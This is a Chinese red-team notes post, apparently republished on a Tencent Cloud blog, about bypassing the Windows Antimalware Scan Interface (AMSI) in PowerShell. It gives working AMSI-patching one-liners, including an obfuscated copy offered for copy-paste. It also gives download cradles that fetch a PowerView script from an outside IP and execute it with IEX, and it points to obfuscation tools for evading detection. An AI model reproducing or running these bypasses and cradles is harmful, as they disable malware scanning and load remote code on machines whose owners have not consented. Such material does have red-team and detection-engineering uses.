前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >红队笔记 - PowerShell AMSI Bypass

红队笔记 - PowerShell AMSI Bypass

作者头像
Khan安全团队
发布2021-10-12 11:38:09
1K0
发布2021-10-12 11:38:09
举报
文章被收录于专栏:Khan安全团队Khan安全团队

反恶意软件扫描接口(AMSI)打补丁将有助于绕过执行PowerShell脚本(或其他支持AMSI的内容,如JScript)时触发的AV警告,这些脚本被标记为恶意。不要在隐蔽的操作中使用原样,因为它们会被标记出来。混淆,甚至更好的是,通过改变你的脚本来击败基于签名的检测,完全消除对AMSI绕过的需要。

普通 "的AMSI绕过例子:

代码语言:javascript
复制
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

用于复制粘贴的混淆例子:

代码语言:javascript
复制
sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

PowerShell的自动识别功能:

代码语言:javascript
复制
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)

绕过方法混淆等,请参考Invoke-Obfuscation,或者在amsi.fail获得一个自定义生成的混淆版本。

https://github.com/danielbohannon/Invoke-Obfuscation

远程加载PowerShell脚本

代理

代码语言:javascript
复制
IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.7/PowerView.obs.ps1')

非代理

代码语言:javascript
复制
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.16.7/PowerView.obs.ps1',$false);$h.send();iex $h.responseText

Invoke-CradleCrafter 是一个兼容 PowerShell v2.0+ 的 PowerShell 远程下载生成器和混淆器。

目的

Invoke-CradleCrafter 的存在是为了帮助蓝队和红队轻松探索、生成和混淆 PowerShell 远程下载托架。此外,它还可以帮助 Blue Teams 测试检测的有效性,这些检测可能适用于 Invoke-Obfuscation 产生的输出,但在处理 Invoke-CradleCrafter 时可能会达不到要求,因为它不包含任何字符串连接、编码、刻度线、类型转换等.

用法

虽然可以通过直接调用 Out-Cradle 函数来生成所有 cradle,但所有堆叠混淆组件的移动部分的复杂性使得使用 Invoke-CradleCrafter 函数成为探索和可视化 cradle 语法和混淆技术的最简单方法这个框架目前支持。

安装:

代码语言:javascript
复制
Import-Module ./Invoke-CradleCrafter.psd1
Invoke-CradleCrafter

https://github.com/danielbohannon/Invoke-CradleCrafter

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-09-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 目的
  • 用法
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档